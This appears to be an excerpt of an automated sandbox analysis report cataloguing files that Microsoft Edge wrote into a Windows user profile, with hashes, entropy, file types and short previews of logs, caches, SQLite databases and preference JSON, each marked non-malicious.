MD5:	3AB8B1D162DD70F36E61057AC6ED4165
SHA1:	F28D90F8237E7943D73DEEBD7017207EB5278AA3
SHA-256:	99C6C78C8475D6DB01C28CC2F398C1776EF63BA60D3113FE38050F955C42206E
SHA-512:	47B70BCE5A865CC99C1F4CFE65719FAE772530A6ED6B6D969422DDDF04D3B76598CD8A2749EE1DB4705A52C8053F2EDF169DCE6A6D395894F0795C3989F6FBBC
Malicious:	false
Preview:	2024/12/23-02:39:59.680 c34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/23-02:39:59.697 c34 Recovering log #3.2024/12/23-02:39:59.698 c34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.166904140136769
Encrypted:	false
SSDEEP:	6:ARhF34q2PqLTwi23oH+Tcwt7Uh2ghZIFUt8fRjrJZmw+fRkFkwOqLTwi23oH+Tcz:YhOv8wZYebIhHh2FUt8ZjrJ/+Zi5TwZ0
MD5:	3AB8B1D162DD70F36E61057AC6ED4165
SHA1:	F28D90F8237E7943D73DEEBD7017207EB5278AA3
SHA-256:	99C6C78C8475D6DB01C28CC2F398C1776EF63BA60D3113FE38050F955C42206E
SHA-512:	47B70BCE5A865CC99C1F4CFE65719FAE772530A6ED6B6D969422DDDF04D3B76598CD8A2749EE1DB4705A52C8053F2EDF169DCE6A6D395894F0795C3989F6FBBC
Malicious:	false
Preview:	2024/12/23-02:39:59.680 c34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/23-02:39:59.697 c34 Recovering log #3.2024/12/23-02:39:59.698 c34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	430
Entropy (8bit):	5.234353979167055
Encrypted:	false
SSDEEP:	12:EGv8wZYebvqBQFUt8Fscu5/+FxO5TwZYebvqBvJ:EE8wZYebvZg8FvxYTwZYebvk
MD5:	907593D4CEBC22D045AE1AB754541632
SHA1:	C9AE431563944CEEFA087FF71BD2281EA0CE8A56
SHA-256:	848EF7D75EA7E33E56AB58095103F4C5A1231B153CC447423393E8B95175F8B5
SHA-512:	6D9BB5FF0F0CF4223E163A38641A242DE8B031D9DC7112A34C1AEC9C16827B34CE5DB1EEF4B94A407222F12B21B63A4B39826241F814223E34D49E7C5DA3C1BC
Malicious:	false
Preview:	2024/12/23-02:40:00.537 14d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/23-02:40:00.569 14d8 Recovering log #3.2024/12/23-02:40:00.587 14d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	430
Entropy (8bit):	5.234353979167055
Encrypted:	false
SSDEEP:	12:EGv8wZYebvqBQFUt8Fscu5/+FxO5TwZYebvqBvJ:EE8wZYebvZg8FvxYTwZYebvk
MD5:	907593D4CEBC22D045AE1AB754541632
SHA1:	C9AE431563944CEEFA087FF71BD2281EA0CE8A56
SHA-256:	848EF7D75EA7E33E56AB58095103F4C5A1231B153CC447423393E8B95175F8B5
SHA-512:	6D9BB5FF0F0CF4223E163A38641A242DE8B031D9DC7112A34C1AEC9C16827B34CE5DB1EEF4B94A407222F12B21B63A4B39826241F814223E34D49E7C5DA3C1BC
Malicious:	false
Preview:	2024/12/23-02:40:00.537 14d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/23-02:40:00.569 14d8 Recovering log #3.2024/12/23-02:40:00.587 14d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\16594f2f-ec48-4c81-bf4a-bd370ae28ae3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\3ca2e3e5-1122-4c00-b60f-a87cba59087d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\7ea1e6db-39db-43d0-a2a3-d9baccc17430.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF27da2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	418
Entropy (8bit):	5.194286011356591
Encrypted:	false
SSDEEP:	12:EUv8wZYebvqBZFUt8Fh/+FI5TwZYebvqBaJ:Ee8wZYebvyg8FOSTwZYebvL
MD5:	8E2DD9B8D5967835FD3BBD9BB55D8358
SHA1:	CA739DE94CFA0E5BBB982B917055C0BD0256D7B3
SHA-256:	68584ED5704314D84A8F62B860F9252C51B7C1A73D1C98E0B49358BF9F837884
SHA-512:	70E44CF1992B5DA1F6A32EF75FE9B3DFC41875C8CADACBE15200E4E764D49EB7E5DA5E65FC9B5A9F6CD6BB4AA1FAA52EE9238A1D1D170FE5165258B438DD36A6
Malicious:	false
Preview:	2024/12/23-02:40:20.379 14d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/23-02:40:20.403 14d8 Recovering log #3.2024/12/23-02:40:20.408 14d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	418
Entropy (8bit):	5.194286011356591
Encrypted:	false
SSDEEP:	12:EUv8wZYebvqBZFUt8Fh/+FI5TwZYebvqBaJ:Ee8wZYebvyg8FOSTwZYebvL
MD5:	8E2DD9B8D5967835FD3BBD9BB55D8358
SHA1:	CA739DE94CFA0E5BBB982B917055C0BD0256D7B3
SHA-256:	68584ED5704314D84A8F62B860F9252C51B7C1A73D1C98E0B49358BF9F837884
SHA-512:	70E44CF1992B5DA1F6A32EF75FE9B3DFC41875C8CADACBE15200E4E764D49EB7E5DA5E65FC9B5A9F6CD6BB4AA1FAA52EE9238A1D1D170FE5165258B438DD36A6
Malicious:	false
Preview:	2024/12/23-02:40:20.379 14d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/23-02:40:20.403 14d8 Recovering log #3.2024/12/23-02:40:20.408 14d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.249586009491509
Encrypted:	false
SSDEEP:	6:ARGF34q2PqLTwi23oH+TcwtpIFUt8fRRRNJZmw+fRRRNDkwOqLTwi23oH+TcwtaQ:YCIv8wZYebmFUt8Z3X/+Z3F5TwZYebaQ
MD5:	A8DD0526DD87191FCE9F1EF157AB3640
SHA1:	DDF7E980C56EA19EBF1DE1E215E925B3032E7693
SHA-256:	37568F8D4A4C25CC25D8AF8A7A62A3BFDB51521FE0C5E8CCAE21177BB2CA2E5C
SHA-512:	C2E57D40B7CE0306427B2F3F9AA51CCC09D5751250C0607D38856C2055E1BA8777D1613C7603C4D5A1714A3FAF353A87E4D6BBB269F541C787F9B86469B2B252
Malicious:	false
Preview:	2024/12/23-02:39:59.683 19d4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/23-02:39:59.684 19d4 Recovering log #3.2024/12/23-02:39:59.684 19d4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.249586009491509
Encrypted:	false
SSDEEP:	6:ARGF34q2PqLTwi23oH+TcwtpIFUt8fRRRNJZmw+fRRRNDkwOqLTwi23oH+TcwtaQ:YCIv8wZYebmFUt8Z3X/+Z3F5TwZYebaQ
MD5:	A8DD0526DD87191FCE9F1EF157AB3640
SHA1:	DDF7E980C56EA19EBF1DE1E215E925B3032E7693
SHA-256:	37568F8D4A4C25CC25D8AF8A7A62A3BFDB51521FE0C5E8CCAE21177BB2CA2E5C
SHA-512:	C2E57D40B7CE0306427B2F3F9AA51CCC09D5751250C0607D38856C2055E1BA8777D1613C7603C4D5A1714A3FAF353A87E4D6BBB269F541C787F9B86469B2B252
Malicious:	false
Preview:	2024/12/23-02:39:59.683 19d4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/23-02:39:59.684 19d4 Recovering log #3.2024/12/23-02:39:59.684 19d4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.0033616753448762224
Encrypted:	false
SSDEEP:	3:ImtVuswalXITVlX:IiVuswjb
MD5:	D10B34C386FDFA6EF030134A712737DF
SHA1:	23F476E0C0E41A90A05E6B5145F3735243E0F69E
SHA-256:	797C7858AA31FA7E3F0A881F34128B3F07AB390DF16B220E65AC9D9154939B7D
SHA-512:	6A97A2482A27B3764E5307F7435C077A3E7351BC14CA1275FD04A27B0AF4F9FC4F440EE4BAE4680BD17CC24D8737B112064EDCA6F135AC840DC81D6437DF5153
Malicious:	false
Preview:	VLnk.....?.........)(S\d................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2655751798574968
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMzSAELyKOMq+8ETZKoxAXCVumQ:K0q+n0Jz9ELyKOMq+8ET8cUD
MD5:	EA6FFFDEA020DBE2412AC5D6DF619BF2
SHA1:	DCAED929BF1C04B63D51F84F3A9ABFAC3017C306
SHA-256:	0174CBE62B3DB5910998621FF5B84E6483C35487064FB90231F6355D5E24C36E
SHA-512:	C278E086B95D5AB523968E31F417BF805C65D56AB4350C2CC05E3689652171AE83CC1E327B16CE143C12B4A62095C3F72AEF7F75CB1C48D815FCC00A1F36FBEE
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.41235120905181716
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB:v7doKsKuKZKlZNmu46yjx
MD5:	981F351994975A68A0DD3ECE5E889FD0
SHA1:	080D3386290A14A68FCE07709A572AF98097C52D
SHA-256:	3F0C0B2460E0AA2A94E0BF79C8944F2F4835D2701249B34A13FD200F7E5316D7
SHA-512:	C5930797C46EEC25D356BAEB6CFE37E9F462DEE2AE8866343B2C382DBAD45C1544EF720D520C4407F56874596B31EFD6822B58A9D3DAE6F85E47FF802DBAA20B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ad1977c3-6628-407d-9bbd-d2409b7456a6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9220
Entropy (8bit):	5.077810642838238
Encrypted:	false
SSDEEP:	192:stFCkdpsZbIJZVk9sS3oC88bV+FiAfn9H+PQYJ:stQCsZbiZO3bGiOS
MD5:	5F4267F7835DB6078EB9383C57E3A3BA
SHA1:	BCAB47BFA29F10540F361CFFCB52ABFFA29FDD01
SHA-256:	3A4EC9D1E6C0971297D2B86E2545D49A2810DD4CBDB5B0EA0BEF1F5B5B6526E4
SHA-512:	4E281875D7DF64917F5E18483AF97742566B754F266C918D7092FBE0D188DE92079C2792B7E135BFBBBCCAECF62D23E205126D95572441371B3DE66DBD1E4F14
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379413200171462","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b4d16757-bdbd-4e18-9bbf-3dcda6cb7fa5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\cdac288e-1217-47e3-86b6-542088bc54c7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12753
Entropy (8bit):	5.267111874355355
Encrypted:	false
SSDEEP:	192:stFCJ99QTryDigabatSuypsZbIJZN1eTAk9sS3oC88bV+FiAWaQ+PQYJ:stQPGKSuasZbiZNg3bGioQS
MD5:	A99AFC85BD8F69D870E292E078EC22D7
SHA1:	17C83A65358B9EBB4B6FFBF7408C6F669F66FF04
SHA-256:	086477AB96FD28E00FFBB99FD2A6075FDB63459D157C9980255B4EA10B6D61E9
SHA-512:	8EE5784F82C15946AFAFD232EAF8E66D91D8152613B7778934817D81F198CDFC4377831F4C38D7951DBA825CC097D48B79500E9E71659127E0D3DAAD6DD92DEF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379413200171462","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

